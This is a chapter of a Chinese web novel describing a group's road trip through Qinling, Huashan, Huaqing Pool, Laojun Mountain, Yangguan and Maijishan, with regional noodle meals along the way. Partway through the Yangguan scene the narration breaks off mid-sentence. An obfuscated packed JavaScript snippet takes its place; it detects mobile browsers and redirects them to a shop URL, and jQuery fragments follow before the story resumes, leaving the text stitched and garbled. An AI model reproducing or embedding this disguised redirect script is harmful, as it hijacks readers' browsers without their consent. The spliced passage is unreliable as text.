《半生债》下卷第12章·山河入梦


    一、出城


    从东海出来的时候，天还没亮透。


    齐选东开着车，嘴里哼着不成调的小曲，是那种老掉牙的《在那桃花盛开的地方》。他夫人坐在副驾驶，嫌他跑调，说：“你快别唱了，把瞌睡都唱跑了。”


    齐选东嘿嘿两声，不唱了，改成吹口哨。吹得比唱还难听。


    后面坐着王霖、宋泰生和郑雨秀。郑雨秀靠窗，看着外面一点点亮起来的天。天边先是灰的，慢慢变成鱼肚白，又慢慢染上一点橘红。路灯还亮着，一盏一盏的，在晨光里显得昏黄无力。


    车上了高速，往西开。


    齐选东的夫人趴着窗户看了一会儿，说：“这出了城，怎么还是城？没完没了的。”


    齐选东说：“东海是大城市，出城也得半天。”


    她说：“那什么时候才能看见山？”


    齐选东说：“急什么，路长着呢。”


    她不说话了，靠回椅背上，眯着眼睛养神。


    郑雨秀一直看着窗外。那些楼房慢慢矮下去，慢慢稀疏下去，最后变成田野，变成村庄，变成远处隐隐约约的山影子。她看得入神，连眼镜片上起了雾都没擦。


    王霖问她：“想什么呢？”


    她说：“想我小时候。我外婆家也在山里，山没这么大，但也是山。小时候放暑假就去，一住一个月。”


    王霖说：“现在呢？”


    她说：“外婆不在了，就不去了。”


    王霖点点头，没再问。


    车开了一上午，进了山区。起初是些小土包，长满了树，绿茸茸的。后来慢慢变高，变大，最后就成了秦岭。那些山一座连着一座，挤挤挨挨的，望不到头。有的山尖上还绕着云，白白的，像围了条围巾。


    齐选东的夫人又活了，趴在窗户上喊：“山！山！终于看见山了！”


    齐选东说：“你小声点，玻璃都要被你震碎了。”


    她不理他，继续喊。


    二、金丝峡


    进金丝峡的时候，正是晌午。


    太阳直直地照下来，峡谷里一半明一半暗。明的那边亮得晃眼，暗的那边幽深神秘。空气凉丝丝的，带着水汽和草木的清香，吸一口，从嗓子眼一直凉到肺里。


    才走几步，就听见水声。


    不是一处，是处处。左边有溪流潺潺，右边有山泉叮咚，前面有瀑布轰鸣，后面有涧水幽咽。那些声音混在一起，高高低低，远远近近，像一支看不见的乐队，在峡谷里奏着永不停歇的曲子。


    齐选东的夫人侧着耳朵听了半天，问：“这水怎么这么多？”


    王霖说：“秦岭是中央水塔，水能不多吗？”


    她不懂什么叫中央水塔，但听着好像很厉害的样子，就点点头，不再问了。


    沿着栈道往里走，水越来越多。一会儿是一条小溪从脚边流过，清得能看见底下的石子，圆的、扁的、白的、青的，一颗一颗，像被人精心摆放过；一会儿是一道瀑布从崖壁上挂下来，像一条白绸子，在风里轻轻飘着，飘着飘着就散了，化成一片水雾。


    走到一处瀑布跟前，几个人都站住了。


    那瀑布不高，也就十来米，却宽得很。水从崖壁上漫下来，不是冲，是漫，像一张透明的水帘子，遮住了后面的石壁。阳光从水帘后面透过来，把水珠照得亮晶晶的，一颗一颗的，像珍珠一样。那些珍珠不停地落，不停地碎，碎了又聚，聚了又落。


    郑雨秀看得发呆，半天才说：“这水……是真的吗？”


    齐选东说：“当然是真的，假的能流吗？”


    他夫人说：“人家是说太漂亮了，像假的。”


    郑雨秀点点头。


    再往里走，水声越来越大。转过一个弯，眼前豁然开朗——一道大瀑布从几十米高的地方跌落下来，砸进下面的深潭，轰隆隆的响声震得人耳朵发麻。水雾腾起来，飘散开来，把周围几十米都笼罩在一片白茫茫里。站在那儿，就像站在雨中，又不像雨中。雨是凉的，这是凉的；雨是湿的，这是湿的；可雨没有这么大，这么密，这么铺天盖地。


    齐选东的夫人捂着头发，说：“这水怎么像下雨似的？”


    齐选东说：“那不是雨，是水雾。”


    她伸手接了一把，还真是水雾，细细的，凉凉的，落在手上就化了，只剩一点湿意。


    正看着，忽然有人喊：“彩虹！有彩虹！”


    几个人顺着声音看去，果然，瀑布前面的水雾里，一道彩虹横跨着，七彩分明，从左边山崖跨到右边山崖，像一座桥，一座会发光的桥。


    齐选东的夫人激动得不行，拉着齐选东就跑：“快！快！给我拍照！”


    齐选东被她拽着跑，气喘吁吁的，掏出手机，咔嚓咔嚓拍了好几张。拍完了，她凑过去看，不满意：“这张不好，我眼睛闭着。重拍！”


    齐选东又拍。拍完了，她又看：“这张脸太黑。重拍！”


    齐选东哭笑不得，还是拍。


    拍了七八张，终于有一张满意的。她这才放过他，高高兴兴地看彩虹去了。


    王霖站在瀑布前，看着那水，想起小时候听过的传说。说是很久以前，秦岭山里有一条恶龙，专门祸害百姓，吃人吃牲口，把好好的地方搅得鸡犬不宁。后来有个年轻人，拿着宝剑跟恶龙斗了三天三夜，最后把恶龙斩成了几段。恶龙的血流进山里，就成了这些瀑布和溪流。血是红的，水是清的，可那股子劲儿还在，那股子不服输的劲儿。


    他把这个传说讲给大家听。


    齐选东的夫人听了，低头看了看那清清的水，忽然说：“那这水是龙血变的？”


    王霖说：“传说是这么说的。”


    她想了想，说：“那还挺血腥的。”


    大家都笑了。


    三、绿


    金丝峡的绿，是那种看一眼就忘不掉的绿。


    不是一种绿，是无数种绿。深绿、浅绿、翠绿、墨绿、碧绿、油绿……层层叠叠，挤挤挨挨，把整个峡谷都染透了。抬头看，峭壁上覆满了苔藓，绿茸茸的，厚厚的一层，像铺了一张绿绒毯。阳光照在上面，那些苔藓就发光，绿莹莹的光，柔和得很。低头看，溪水里飘着水草，细细的，长长的，绿得透明，像一条条绿丝带在水里飘啊飘。左右看，树林密密匝匝，每一片叶子都绿得发亮，绿得流油，好像用手一掐，就能掐出绿水来。


    齐选东的夫人走几步就停下来，摸摸这棵树，闻闻那朵花。她指着一棵大树问：“这是啥树？”


    王霖走近看了看，树干笔直，树皮灰白，叶子像小扇子：“银杏。”


    “银杏不是黄的嘛？”


    “秋天黄，现在还是绿的。”


    她点点头，又指着另一棵：“那个呢？”


    那棵树不高，叶子细细的，密密的，结着小红果。王霖说：“红豆杉。”


    “红豆杉？就是那个很珍贵的？”


    “对，国家一级保护植物。”


    她凑近了看，看了半天，说：“也没啥特别的嘛，跟普通树差不多。”


    齐选东说：“珍贵不一定特别，特别的不一定珍贵。”


    她说：“那倒也是。”


    郑雨秀走在最后，一直拿着手机拍照。她拍树，拍花，拍蕨类，拍青苔。有一片青苔，长在一块大石头上，绿得鲜嫩，绿得发亮，像一块上好的翡翠。她蹲在那儿拍了半天，一会儿近一会儿远，一会儿俯拍一会儿侧拍。


    齐选东的夫人走过去看，问：“这有啥好拍的？”


    郑雨秀说：“好看。”


    她蹲下来，仔细看了看那片青苔。青苔厚厚的，软软的，上面还有细小的水珠，亮晶晶的。她伸手摸了摸，说：“是挺好看。”


    走到一处竹林，光线一下子暗下来。竹子又高又密，把太阳都遮住了。一根一根的，笔直地立着，像无数根绿色的柱子。风吹过，竹叶沙沙作响，那声音细细的，密密的，像在说悄悄话。林子里有一条小路，曲曲折折的，铺着竹叶，踩上去软软的，不知通向哪里。


    齐选东的夫人忽然说：“这地方，怎么有点像《卧虎藏龙》里那场打戏？周润发和章子怡在竹子上飞来飞去那个。”


    齐选东说：“你还看过《卧虎藏龙》？”


    她说：“咋啦？我不能看？”


    齐选东说：“能，能，你能。”


    郑雨秀小声说：“要是会轻功就好了，可以在竹子上飞来飞去，想飞哪儿飞哪儿。”


    王霖笑着说：“那得练多少年？”


    她说：“练一辈子也愿意。”


    齐选东的夫人说：“练一辈子，那得吃多少苦？”


    郑雨秀想了想，说：“可要是真能飞，吃苦也值。”


    大家都笑了。


    四、华山


    从金丝峡出来，往东走，下一站是华山。


    车开到华阴县的时候，天已经黑了。远远的，就看见一座大山黑黢黢地立在前面，像一堵墙，把天都挡住了。山上有点点灯光，是索道站的灯，也有徒步道上的灯，星星点点的，像萤火虫。


    齐选东的夫人趴在车窗上看了半天，说：“这就是华山？”


    王霖说：“嗯。”


    她说：“看着也不高嘛。”


    齐选东说：“那是晚上看不出来，明天你就知道了。”


    第二天一早，几个人进了山。


    从玉泉院开始，一路往上。开始还好，路平缓，两边是树木溪流，走着舒服。可走了一个小时，路就开始陡了。台阶一级一级的，又高又窄，得扶着铁链才能上。


    齐选东的夫人走了半小时就喘上了，扶着铁链直喊：“不行了不行了，歇会儿。”


    齐选东说：“这才刚开始，千尺幢还没到呢。”


    她说：“千尺幢是啥？”


    齐选东说：“就是一千尺的台阶，比这个陡多了。”


    她脸都白了：“那我不去了，你们去吧。”


    齐选东说：“来都来了，不上去看看？”


    她想了想，咬咬牙，继续爬。


    千尺幢确实陡。那台阶几乎垂直，得手脚并用，抓着两边的铁链往上爬。往上看，是一线天，窄窄的，只能看见头顶的一小块天；往下看，是万丈深渊，深不见底，看一眼腿就软。


    郑雨秀爬到一半，忽然停下来，不敢动了。她抓着铁链，手都在抖。


    王霖在她后面，问：“怎么了？”


    她说：“我……我怕。”


    王霖说：“别往下看，只看前面，一步一步来。”


    她点点头，深呼吸了几下，继续往上爬。


    爬到北峰，几个人都累瘫了。坐在石头上，大口喘气，谁也不说话。


    歇够了，站起来看风景。这一看，全都愣住了。


    那些山，不是一座一座的，是一块一块的。巨大的花岗岩，像刀切的一样，笔直地立着。有的像莲花，有的像斧头，有的像仙人。云雾缭绕在半山腰，白的，软的，像棉花一样。那些山峰在云雾里若隐若现，一会儿露出来，一会儿又藏进去，像在捉迷藏。


    齐选东的夫人看了半天，说：“这山……怎么长这样？”


    王霖说：“花岗岩地貌，风化的，雨打的，几千万年了。”


    她说：“真像画儿一样。”


    郑雨秀拿出手机想拍照，发现手机没电了。她懊恼地说：“刚才爬千尺幢的时候一直录像，录没电了。”


    齐选东的夫人说：“没事，我拍了，回头发给你。”


    往东峰走的路上，经过一段叫“天梯”的地方。那台阶更陡，几乎垂直，得抓着铁链倒着往下走。齐选东的夫人走在最前面，走几步就喊一声：“你们还在吗？”


    齐选东在后面说：“在，在，你慢点。”


    走到一处观景台，忽然有人喊：“日出！日出！”


    几个人赶紧跑过去。东边的天边，已经开始泛红了。先是一线红，慢慢扩大，变成一片红。然后，一个红红的圆点冒出来，慢慢变大，慢慢变圆。那红色越来越亮，越来越亮，最后，整个太阳跳了出来，金光四射，把整个东峰都照亮了。


    齐选东的夫人张着嘴，半天说不出话。


    郑雨秀拿着齐选东的手机，拼命拍照。


    宋泰生站在最边上，一动不动，眼睛里映着那轮红日。


    王霖看着他，忽然问：“想什么呢？”


    他说：“想我这一辈子，还没看过这么好看的日出。”


    王霖说：“现在看到了。”


    他点点头，笑了。


    五、华清池


    从华山下来，去了临潼。


    华清池在骊山脚下，依山而建。进了大门，是一条长长的走廊，两边是亭台楼阁，小桥流水。池子里养着锦鲤，红的白的黄的，游来游去，悠然自得。


    齐选东的夫人趴在栏杆上看鱼，看得入神。她指着一条约有手臂粗的大锦鲤说：“这条鱼怕是有几十斤吧？”


    齐选东说：“几十斤？几百斤都有可能。”


    她说：“几百斤的鱼？那不得成精了？”


    郑雨秀在旁边小声说：“这池子一千多年了，鱼也该传了多少代了。”


    往里走，是汤池遗址。一个个池子，大的小的，方的圆的，都用玻璃罩着。池子里的水早就干了，只剩下石头，光滑的，温润的，仿佛还残留着千年前的体温。


    导游在旁边讲解：“这是唐玄宗和杨贵妃沐浴的地方。这个最大的，是玄宗的御汤；旁边这个小的，是贵妃的海棠汤。”


    齐选东的夫人看着那个海棠汤，说：“就这么小一个池子？”


    导游笑了：“那时候的池子都这样，不是咱们现在想的那么宽敞。而且贵妃洗澡，不是一个人洗，有宫女服侍，池子里还要撒花瓣。”


    她说：“那也挺舒服的。”


    齐选东说：“你想试试？”


    她瞪他一眼：“你又没池子。”


    站在温泉古源边上，能看见泉水还在冒。一股细细的水流从石头缝里涌出来，冒着热气，流进池子里。伸手试试水温，温温的，不烫也不凉，刚刚好。


    郑雨秀用矿泉水瓶接了一点，说：“这水真滑。”


    王霖说：“温泉嘛，含矿物质，洗了对皮肤好。”


    她说：“那要是天天洗，是不是能变年轻？”


    齐选东说：“那你留下来洗，我们回去。”


    她笑了，把水瓶收进包里，说：“带回去给我妈洗。”


    往里走，是五间厅。那是□□当年住的地方，墙上还留着西安事变时的弹孔。一个个小洞，密密麻麻的，嵌在墙壁上，像蜂巢。


    齐选东的夫人摸着那些弹孔，说：“这得多少枪啊？”


    王霖说：“那时候打得很激烈。”


    她说：“那老蒋跑了没？”


    王霖说：“跑了，从后窗翻出去，爬到后面的骊山上，最后还是被抓了。”


    她点点头，站在窗前，望着后面的骊山，不知道在想什么。


    从华清池出来，天已经傍晚了。夕阳照在骊山上，那些亭台楼阁被染成了金色，池子里的水也泛着金光，锦鲤游过，留下一道道金色的波纹。


    齐选东的夫人回头看了一眼，说：“这地方，真适合谈恋爱。”


    齐选东说：“那你跟我谈一个？”


    她说：“都谈几十年了，还谈啥？”


    大家都笑了。


    六、老君山


    从陕西往东，进了河南，去老君山。


    老君山在栾川，是伏牛山的主峰，传说是老子归隐修炼的地方。远远望去，山势巍峨，云雾缭绕，确实有几分仙气。


    车开到山脚下，已经是中午。坐索道上山，缆车晃晃悠悠的，慢慢升高。下面是深谷，上面是青天，两边是峭壁。齐选东的夫人不敢往下看，紧紧抓着扶手，眼睛闭着。


    齐选东说：“你不是不怕高吗？”


    她说：“我不怕高，我怕掉下去。”


    郑雨秀倒是胆大，趴在窗户上看，不停地拍照。她指着远处的一座山峰说：“快看，那个像不像一个人？”


    大家顺着她指的方向看去，还真像。那山峰孤零零地立着，顶上有一块石头，像人的头，下面是一整块石壁，像人的身体。风一吹，云雾飘过，那人就像在动。


    齐选东说：“那是老子悟道峰。”


    她说：“老子真在那儿悟过道？”


    齐选东说：“传说是，谁知道呢。”


    下了索道，还要爬一段才到金顶。那金顶在阳光下闪着光，金灿灿的，像一座黄金铸成的宫殿。走近了才看清，不是金的，是铜的。铜铸的殿顶，在阳光下氧化了，变成金色。


    郑雨秀站在金顶前，仰着头看，看得脖子都酸了。她问王霖：“这得用多少铜啊？”


    王霖说：“不知道，几百吨吧。”


    她说：“几百吨铜，得多少钱？”


    齐选东说：“你咋老问钱？这是文化，懂不？”


    她笑了，说：“懂，懂，文化。”


    站在金顶上往下看，群山都在脚下。一座一座的，层层叠叠的，像海浪一样涌向天边。有的山青，有的山黛，有的山在云雾里，隐隐约约的，像画里的仙山。


    宋泰生站在那儿，看了很久。王霖走过去，问他：“想什么呢？”


    他说：“想我老了，要是能住在这儿就好了。”


    王霖说：“这儿冬天冷，夏天热，不方便。”


    他笑了，说：“也是。”


    从金顶下来，路过一处悬崖，叫“舍身崖”。下面是万丈深渊，深不见底，看一眼腿就软。护栏很矮，只到腰，风一吹，人都站不稳。


    齐选东的夫人走过去，扶着护栏往下看了一眼，吓得赶紧缩回来：“我的妈呀，这也太深了。”


    齐选东说：“你刚才不是还说要修仙吗？从这儿跳下去，就成仙了。”


    她瞪他一眼：“你才跳，你全家都跳。”


    郑雨秀站在旁边，倒是没怕。她往下看了好一会儿，忽然说：“要是我，我舍不得跳。”


    王霖问：“为什么？”


    她说：“活着多好，还能看这么好看的风景。”


    王霖点点头。


    七、面


    这一路，吃的面食，没有重样的。


    在陕西，吃的是岐山臊子面。那是一家小店，门脸不大，五六张桌子，油腻腻的，可人满为患。老板是个黑瘦的汉子，话不多，动作麻利。一碗面上来，红油汪汪的，上面漂着一层辣子，看着就开胃。面条细，筋道，汤头酸辣鲜香。臊子是猪肉丁，炒得干干的，香香的，配上木耳丁、胡萝卜丁、豆腐丁，一口面一口汤，呼噜呼噜就下去了。


    齐选东吃完一碗，又要了一碗。他夫人说：“你慢点，没人跟你抢。”


    他说：“太好吃了，忍不住。”


    郑雨秀也吃了一碗，辣得直吸气，可还是一口接一口，舍不得停。


    在甘肃，吃的是兰州牛肉面。师傅在案板上拉来拉去，一团面在手里翻飞，几下就拉成了细细的丝。下锅一煮，捞出来，浇上牛肉汤，放几片牛肉，撒一把香菜蒜苗。汤清，味醇，面筋道。郑雨秀吃了一碗，说：“这个比臊子面好吃。”


    齐选东的夫人说：“你每吃一个都说比上一个好吃。”


    郑雨秀脸红了，说：“真的都好吃嘛。”


    在山西，吃的是刀削面。大师傅托着一团面，站在大锅前，唰唰唰削进锅里。面条像小鱼儿一样在沸水里翻滚，一会儿就浮上来。捞出来，浇上臊子，放上青菜，撒一把葱花。面条外滑内筋，嚼起来有劲道，越嚼越香。齐选东吃了一口，说：“这个有嚼头，我喜欢。”


    在宁夏，吃的是羊肉搓面。面条是手工搓的，粗粗的，圆圆的，像一根根小棍子。拌上炒过的羊肉丁、青红椒、洋葱，再加一把孜然，香得人直流口水。那香味飘出去老远，路过的人都回头看。宋泰生吃了两碗，王霖看了他一眼。他说：“好久没吃过这么好吃的面了。”


    王霖知道，这是他老家的味道。


    在陕西山西交界的地方，还吃了一回裤带面。那面条宽得像裤带，一碗就一根，长长的，捞起来能绕碗三圈。拌上油泼辣子、蒜泥、醋，简单，却香得不行。齐选东的夫人吃了半根就饱了，说：“这面太实在了，一碗顶三碗。”


    一路吃下来，每个人都胖了一圈。齐选东拍拍肚子，说：“回去得减肥了。”


    他夫人说：“减啥减，吃都吃了。”


    可最后一天，在回家的路上，几个人却同时想起了一件事。


    那天中午，又到了一家面馆。老板拿着菜单过来，问吃啥。几个人翻着菜单，看了半天，谁也没点。


    齐选东的夫人忽然说：“我想吃馒头。”


    齐选东愣了一下，然后笑了：“我也想吃馒头。”


    郑雨秀点点头：“馒头。”


    宋泰生也点了点头。


    王霖也笑了。


    是啊，吃了那么多花样，那么多味道，那么多讲究，最后最想吃的，还是最简单的白面馒头。热腾腾的，松软软的，什么也不加，就着一点咸菜，就是最好吃的东西。


    齐选东说：“这叫啥？返璞归真？”


    他夫人说：“叫吃饱了撑的。”


    大家都笑了。


    老板在旁边听着，也笑了，说：“行，给你们蒸一笼馒头。”


    那馒头端上来，白胖胖的，冒着热气，麦香扑鼻。一人掰一个，咬一口，软软的，甜甜的，满嘴都是粮食的本味。


    齐选东嚼着馒头，忽然说：“人这嘴啊，就是贱。好东西吃多了，就惦记这普通的。”


    王霖说：“不是贱，是根。馒头是咱们这地方人的根，吃多少年都不腻。那些花样，是锦上添花；这馒头，是雪中送炭。”


    他点点头，又咬了一口。


    八、阳关


    继续往西，到了阳关。


    阳关在敦煌西边，古时候是丝绸之路上的要道。出了阳关，就是西域，就是茫茫大漠，就是另一个世界。


    车开到阳关遗址，眼前一片荒凉。


    就剩一座土墩子，孤零零地立在戈壁滩上。风一吹，土就往下掉，簌簌的，像在流泪。周围什么都没有，就戈壁，就沙砾，就呼呼的风。天是灰的，地是黄的，只有那土墩子，灰不灰黄不黄的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259095|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，说不清是什么颜色。


    齐选东的夫人看着那土墩，说：“这就是阳关？”


    王霖说：“嗯。”


    她说：“咋这么破？”


    王霖说：“一千多年了，能不破吗？风吹的，雨打的，人踩的，马踏的。能剩下这个，已经不错了。”


    她点点头，绕着土墩转了一圈。转完了，站在那儿，望着那片茫茫戈壁，忽然开口：


    “渭城朝雨浥轻尘，客舍青青柳色新。劝君更尽一杯酒，西出阳关无故人。”


    王霖愣了。


    她居然会背这首诗。


    齐选东也愣了，看着自己老婆，像看陌生人。认识几十年了，从没见她背过诗。


    她回过头，看见两个人的表情，脸一下子红了，说：“咋啦？我初中背过不行啊？我又不是没上过学。”


    齐选东竖起大拇指：“行，太行了。没想到我老婆还是文化人。”


    她得意地笑了。


    郑雨秀站在旁边，也轻声念了一遍：“西出阳关无故人。”念完，她问王霖：“王总，你说，那时候的人出阳关，是什么心情？”


    王霖想了想，说：“可能又害怕，又期待吧。”


    她说：“害怕什么？”


    “害怕回不来。出了阳关，就是西域，就是大漠，就是未知。能不能活着回来，能不能再见亲人，都不知道。”


    她点点头，望着那片茫茫戈壁，不知道在想什么。


    旁边有个导游带着一队游客，正在讲解。导游拿着小喇叭，声音在风里飘：“大家知道吗？阳关和玉门关是丝绸之路上的两个重要关口。出了阳关，就是西域，就是咱们现在说的新疆。那时候的商人、使者、僧侣，都要从这里经过。很多人一去不回，所以有‘西出阳关无故人’的说法。”


    齐选东的夫人听了，忽然说：“那些人，真勇敢。”


    齐选东说：“那可不，搁你你敢去？”


    她说：“我？我可不敢。我连夜里一个人上厕所都害怕。”


    大家都笑了。


    从阳关出来，又去了玉门关。也是一座土墩子，比阳关还破，只剩一点残垣断壁，孤零零地立在戈壁滩上。


    齐选东的夫人看了一眼，说：“这也太破了，还不如阳关呢。”


    王霖说：“春风不度玉门关嘛。”


    她说：“啥意思？”


    “就是说这儿太荒凉，连春风都吹不到。玉门关比阳关还西边，还荒凉。”


    她点点头，说：“那倒是，这风刮得我脸疼。”


    几个人站在那儿，看着那座残破的关隘，想象着千百年前，那些出关的人，是怎样一步一回头的。他们走出这道关，回头望最后一眼，看见的是亲人，是故乡，是再也回不去的一切。


    郑雨秀忽然说：“要是我，我肯定哭。”


    齐选东的夫人说：“要是我，我就不出去。”


    宋泰生一直没说话，可他站在那儿，看了很久。


    九、麦积山


    从敦煌往回走，路过天水，去了麦积山。


    麦积山在秦岭西端，孤零零的一座山，形状像麦垛，所以叫麦积山。山不高，却陡，崖壁上密密麻麻全是洞窟，像蜂巢一样，一层一层往上垒，数都数不清。


    齐选东的夫人仰着头看，脖子都酸了：“这山上怎么这么多洞？”


    王霖说：“石窟，里面全是佛像。从后秦开始凿的，凿了一千多年。”


    她说：“佛像？那得上去看看。”


    山不高，可栈道陡，爬起来也累。她爬到一半就喘不上气了，扶着栏杆直喊：“不行了不行了，歇会儿。”


    齐选东在旁边说：“刚才谁喊着要上来的？”


    她瞪他一眼，继续爬。


    爬到上面，进了石窟，几个人都不说话了。


    那些佛像，大大小小，高高矮矮，有的站着，有的坐着，有的卧着。大的有十几米高，得仰着头看，脖子都仰酸了才能看见脸；小的只有巴掌大，得凑近了才看得清。有的佛像保存得好，面目清晰，神态安详，嘴角带着一丝若有若无的笑；有的佛像残破了，缺胳膊少腿，脸上也模糊了，可那股慈悲劲儿还在，那股庄严劲儿还在。


    齐选东的夫人站在一尊大佛前面，仰着头看了半天，忽然问：“这是谁？”


    王霖说：“释迦牟尼。”


    “他干啥的？”


    “佛教的创始人。教人放下执念，求得解脱。”


    她点点头，也不知道听懂没有。可她站在那儿，看了很久，一动不动的。


    旁边有个导游在讲解，声音轻轻的，怕惊扰了佛像：“麦积山石窟始建于后秦，距今已经一千六百多年了。这些佛像都是历代工匠一锤一锤凿出来的，有的凿了几十年，有的凿了一辈子。很多人从年轻凿到老，从黑发凿到白头，一辈子就凿一尊佛。”


    齐选东的夫人听了，说：“那些人真有耐心。”


    齐选东说：“人家那是信仰。”


    她说：“啥叫信仰？”


    齐选东想了想，说：“就是信一个东西，信一辈子，不管有没有回报，不管别人怎么看。”


    她点点头，又看了看那尊佛像，没再问。


    郑雨秀站在一尊残破的佛像前面，看了很久。那尊佛像的脸已经模糊了，鼻子眼睛都看不清了，身体也残缺不全，可双手还合在胸前，保持着祈福的姿势。


    她忽然说：“它残了，还在保佑人。”


    王霖说：“也许吧。”


    她说：“佛会老吗？”


    王霖想了想，说：“佛不会老，可石头会。”


    她点点头，没再说话。


    从麦积山下来，天已经快黑了。夕阳照在山壁上，那些洞窟被染成了金色，佛像在洞里若隐若现，像在发光。


    齐选东的夫人回头看了一眼，说：“下次还来。”


    齐选东说：“行，下次再来。”


    十、黄河夜


    最后一晚，他们住在黄河边上的一个小镇。


    镇子不大，一条街从头走到尾，也就十几分钟。街两边是农家乐，卖黄河鲤鱼的，卖羊肉串的，卖当地土产的。晚上的时候，街上亮起了灯笼，红红的，一串一串的，照得整条街都暖洋洋的。


    他们找了一家农家乐住下。老板娘是个胖胖的大姐，嗓门大，人也热情。她给几个人安排好了房间，又张罗着做晚饭。


    齐选东的夫人坐在院子里，看着那些灯笼，说：“这儿真好。”


    齐选东说：“哪儿好？”


    她说：“安静。暖和。有家的感觉。”


    齐选东点点头，没说话。


    晚饭又是鱼。黄河鲤鱼，红烧的，一条鱼装了一大盆。鱼是野生的，肉紧实，有嚼劲，不像养殖的那种一煮就散。几个人围着桌子，你一筷子我一筷子，吃得热火朝天。


    还有羊肉串，炭火烤的，外焦里嫩，撒了孜然和辣椒面，香得人直流口水。齐选东一口气吃了十串，还意犹未尽。


    吃完饭，几个人坐在院子里喝茶。老板娘端上来一盘自家种的枣子，红红的，甜甜的，咬一口，满嘴都是枣香。


    天上有星星，密密麻麻的，比城里多得多。银河横在天上，像一条发光的河，从南到北，把天空分成两半。


    齐选东的夫人仰着头数星星，数了半天，说：“数不清。”


    齐选东说：“你数得清才怪。”


    郑雨秀坐在旁边，也看着星星。她看得很认真，眼睛亮亮的。


    宋泰生坐在角落里，一直没说话。可他的眼睛也亮亮的，看着那些星星，看着那些灯笼，看着这些人。


    王霖看着他，忽然问：“想啥呢？”


    宋泰生沉默了一会儿，说：“想小时候，在黄河边上，也是这样看星星。”


    王霖说：“那时候的星星比现在多吧？”


    他说：“多。那时候没有灯，满天的星星，数都数不清。”


    王霖点点头。


    大家都沉默了。


    过了好一会儿，齐选东的夫人忽然说：“回去以后，咱们还一起出来玩吧。”


    齐选东说：“行啊，每年出来一次。”


    她说：“说话算话。”


    齐选东说：“算话。”


    郑雨秀小声说：“我也来。”


    宋泰生没说话，可他点了点头。


    十一、归途


    回程的路，好像比来时短。


    也许是因为走过了，熟悉了；也许是因为心里装着太多东西，顾不上看窗外。


    齐选东开着车，偶尔哼两句歌。他夫人靠在他肩上，睡着了。郑雨秀还是老样子，看着窗外，不知道在想什么。宋泰生闭着眼，也不知睡没睡着。


    王霖看着他们，心里忽然有一种奇怪的感觉。


    这些人，几个月前还不认识，现在坐在一起，像一家人一样。


    他想，这就是缘分吧。


    窗外，夕阳正在落下去。红红的，圆圆的，把天边染成了橘红色。远处有山，有河，有村庄，有炊烟。一切都在夕阳里，变得温柔起来。


    他忽然想起一句话：山河入梦来。


    这一路走过来的山河，都会入梦的。金丝峡的水，华山的日出，华清池的温汤，老君山的金顶，壶口的怒吼，阳关的荒凉，麦积山的佛像，黄河边的星星。在梦里，它们会更美，更温柔，更让人想念。


    十二、家


    回到东海，已经是七天后了。


    张莉在家等着，做了他爱吃的菜。吃完饭，他坐在沙发上，跟张莉讲这一路的见闻。


    讲金丝峡的水和绿，讲华山的险和日出，讲华清池的温泉和弹孔，讲老君山的金顶和悬崖。讲壶口的怒吼，讲阳关的诗，讲麦积山的佛，讲黄河边的星星。讲那些不重样的面，讲最后最想吃的馒头。


    张莉听着，偶尔问两句，偶尔点点头。


    讲完了，张莉说：“下次带我一起去。”


    王霖说：“好。”


    张莉靠在他肩上，没再说话。


    窗外的夜色很深，很静。偶尔有车经过，灯光划过窗户，又消失了。


    王霖想起齐选东的夫人站在阳关背诗的样子，想起郑雨秀在麦积山红了眼眶的样子，想起宋泰生在华山看日出的样子，想起他们在老君山顶望着群山的背影。


    那些画面，像照片一样，一张一张在脑子里过。


    他想，这些都会入梦的。


    在梦里，他们会一直年轻，一直快乐，一直在路上。


    这就够了。


    他伸手揽住张莉，感觉到她身体的温度，软软的，暖暖的。


    他说：“睡吧。”


    张莉说：“嗯。”


    灯灭了。


    窗外，有风轻轻地吹。


    ---


    谨以此章，献给那些一起走过山河的人——无论你们现在在哪里，那些一起看过的水、一起走过的路、一起爬过的山、一起吃过的不重样的面，都会一直在梦里。最后最想吃的那个馒头，就是回家的念想。


    山河入梦来，故人长相忆。


    半生债，一世情。


    活着，就是最好的还债。